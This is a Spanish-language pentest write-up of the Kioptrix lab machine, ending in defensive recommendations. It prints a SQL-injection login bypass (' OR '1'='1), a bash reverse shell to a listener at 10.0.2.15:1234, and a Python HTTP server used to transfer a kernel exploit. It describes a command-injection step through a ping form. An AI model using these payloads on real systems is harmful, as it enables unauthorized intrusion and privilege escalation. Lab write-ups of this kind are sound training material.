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Introducción 

Esta máquina está basada en una distribución de Linux con un kernel más antiguo 
y servicios expuestos que contienen vulnerabilidades conocidas, lo que la 
convierte en un excelente recurso para practicar técnicas de penetración y 
explotación. 

El reto que plantea abarca varias fases clave del pentesting, incluyendo la 
recolección de información, la explotación de servicios vulnerables, y la escalada 
de privilegios. Entre las principales vulnerabilidades que explotaremos se 
encuentran una inyección SQL en un formulario de autenticación y la capacidad 
de ejecutar comandos arbitrarios en el servidor web, lo que permitirá obtener un 
reverse shell y finalmente escalar a root mediante la explotación de una 
vulnerabilidad en el kernel. 

 

Objetivo 

El objetivo principal es documentar el proceso de pentesting realizado sobre la 
máquina Kioptrix, con el fin de comprometer el sistema y obtener acceso root, 
siguiendo un enfoque estructurado de análisis de vulnerabilidades y explotación. 

 

Alcance 

Este write-up abarca la recolección de información inicial, la explotación de 
servicios vulnerables y la escalada de privilegios para obtener acceso root en el 
sistema. Se han utilizado herramientas estándar como Nmap, Burp Suite, 
y Searchsploit. 

 

Resumen Ejecutivo 

El proceso comienza con el reconocimiento del sistema mediante Nmap para 
identificar los servicios en ejecución. A partir de ahí, se explotan vulnerabilidades 
en un formulario de autenticación vulnerable a inyección SQL. Luego, se 
aprovecha una interfaz web para ejecutar comandos y obtener acceso a la 
máquina, lo que permite escalar privilegios mediante la explotación del kernel 
para obtener acceso root. 

 

 

 



3.1 Procedimientos Realizados 

1. Recolección de información mediante el escaneo de puertos y servicios. 

2. Enumeración de los servicios descubiertos para identificar posibles 
vulnerabilidades. 

3. Explotación del sistema mediante inyección SQL y ejecución remota de 
comandos. 

4. Escalada de privilegios para obtener acceso root. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



3.2 Recolección de Información 

Escaneo de la Red: 

El proceso comenzó con un escaneo de red utilizando Nmap para identificar la IP 
del servidor y los servicios activos. La IP del servidor objetivo se identificó 
como 192.168.56.104. A continuación, se realizó un escaneo más profundo 
con Nmap para obtener detalles sobre los servicios en ejecución, las versiones y 
el sistema operativo del objetivo. 

sudo nmap -sV -sC -O -v 192.168.56.104 

 

 





Servicios detectados: 

• HTTP - Apache v2.0.52 (Puerto 80) 

• SSH - OpenSSH v3.9P1 (Puerto 22) 

• RPCBIND (Puerto 111) 

• HTTPS (Puerto 443) 

• MySQL (Puerto 3306) 

• Sistema Operativo: Linux v2.6.X 

El escaneo inicial reveló un servidor web en el puerto 80 y un servicio SSH en el 
puerto 22, además de otros servicios relevantes como MySQL. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



3.3 Enumeración 

Decidimos profundizar en el análisis del servidor web. La página principal 
mostraba un formulario de login utilizado para administrar el sistema de forma 
remota. Para analizarlo en profundidad, utilizamos Burp Suite con la intención de 
encontrar vulnerabilidades. 

 

 

 

Al inspeccionar el formulario de login, observamos que el 
archivo index.php cargaba más contenido cuando un administrador iniciaba 
sesión. Esto nos llevó a utilizar Burp Suite junto con la lista de contraseñas 
comunes rockyou.txt para intentar adivinar credenciales administrativas. 

Sin embargo, al observar la traza de Nmap, vimos que el servicio MySQL estaba 
activo. Esto indicaba la posibilidad de que el formulario fuera vulnerable a una 
inyección SQL. 

 

 

 

 

 

 



3.4 Explotación 

Comenzamos probando el formulario de login para verificar si era vulnerable a 
inyecciones SQL. La siguiente inyección SQL fue probada: 

 

user: ' OR '1'='1 

passwd: ' OR '1'='1 

 

Explicación de la inyección SQL: 

Este ataque aprovecha la consulta SQL que el sistema usa para autenticar 
usuarios. Inyectando esta sentencia, se fuerza la consulta a devolver todos los 
registros de la base de datos, ya que la condición '1' = '1' es siempre verdadera. 

Esto significa que el atacante puede acceder al sistema sin conocer las 
credenciales correctas. 

 

Consecuencia 

El ataque exitoso de inyección SQL nos permitió autenticarnos sin credenciales 
válidas, obteniendo acceso al sistema. A continuación, se muestra la web a la que 
accedimos: 

 

Esta web tenía un formulario para hacer ping a direcciones IP. Nos dimos cuenta 
de que podríamos aprovechar esta funcionalidad para ejecutar comandos en el 
sistema operativo. 

 



Efectivamente, al ejecutar comandos en el campo de ping, obtuvimos una 
respuesta del sistema: 

 

Este archivo nos permitió extraer información sobre los usuarios del sistema, lo 
que podría servirnos para futuros ataques. Los usuarios detectados 
fueron: harold, john, y operator (root). 

 

 

 

 

 



A continuación, configuramos un listener en el puerto 1234 y lanzamos un reverse 
shell desde la web utilizando el siguiente comando: 

 

bash -i >& /dev/tcp/10.0.2.15/1234 0>&1 

 

 

El reverse shell se ejecutó correctamente y obtuvimos acceso al sistema con el 
usuario Apache. 

 

 

 

Con el acceso bajo el usuario Apache, comenzamos a explorar el sistema en 
busca de información que nos permitiera escalar privilegios. 

 



Escalada de Privilegios 

Una vez que tuvimos suficiente información sobre el sistema, 
utilizamos Searchsploit para buscar un exploit que se ajustara a la versión del 
kernel de Linux que estaba en uso. 

 

 

Descargamos el exploit y, para transferirlo al sistema objetivo, creamos un 
servidor HTTP utilizando Python 3: 

python3 -m http.server 80 



El archivo malicioso fue descargado en el sistema objetivo. A partir de ahí, lo 
compilamos utilizando gcc y lo ejecutamos para obtener acceso root. 

 

 
3.5 Post-Explotación 

Con acceso root en el sistema, revisamos las configuraciones del sistema para 
identificar otras vulnerabilidades posibles y confirmar el compromiso completo 
del sistema. 

 

4. Recomendaciones 

1. Actualizar versiones de Apache y MySQL para corregir vulnerabilidades 
conocidas. 

2. Implementar consultas preparadas para evitar la inyección SQL. 

3. Restringir la ejecución de comandos en el servidor web para evitar la 
ejecución remota de código. 

4. Asegurar las credenciales del sistema, utilizando contraseñas robustas y 
eliminando usuarios innecesarios. 

 

Conclusiones 

El proceso de explotación mostró cómo vulnerabilidades comunes, como la 
inyección SQL y la ejecución remota de comandos, pueden encadenarse para 
comprometer completamente un sistema. A través de un enfoque metódico, fue 
posible aprovechar fallos en la configuración del servidor web y la falta de 
actualizaciones de software para escalar privilegios y obtener acceso root. 

 


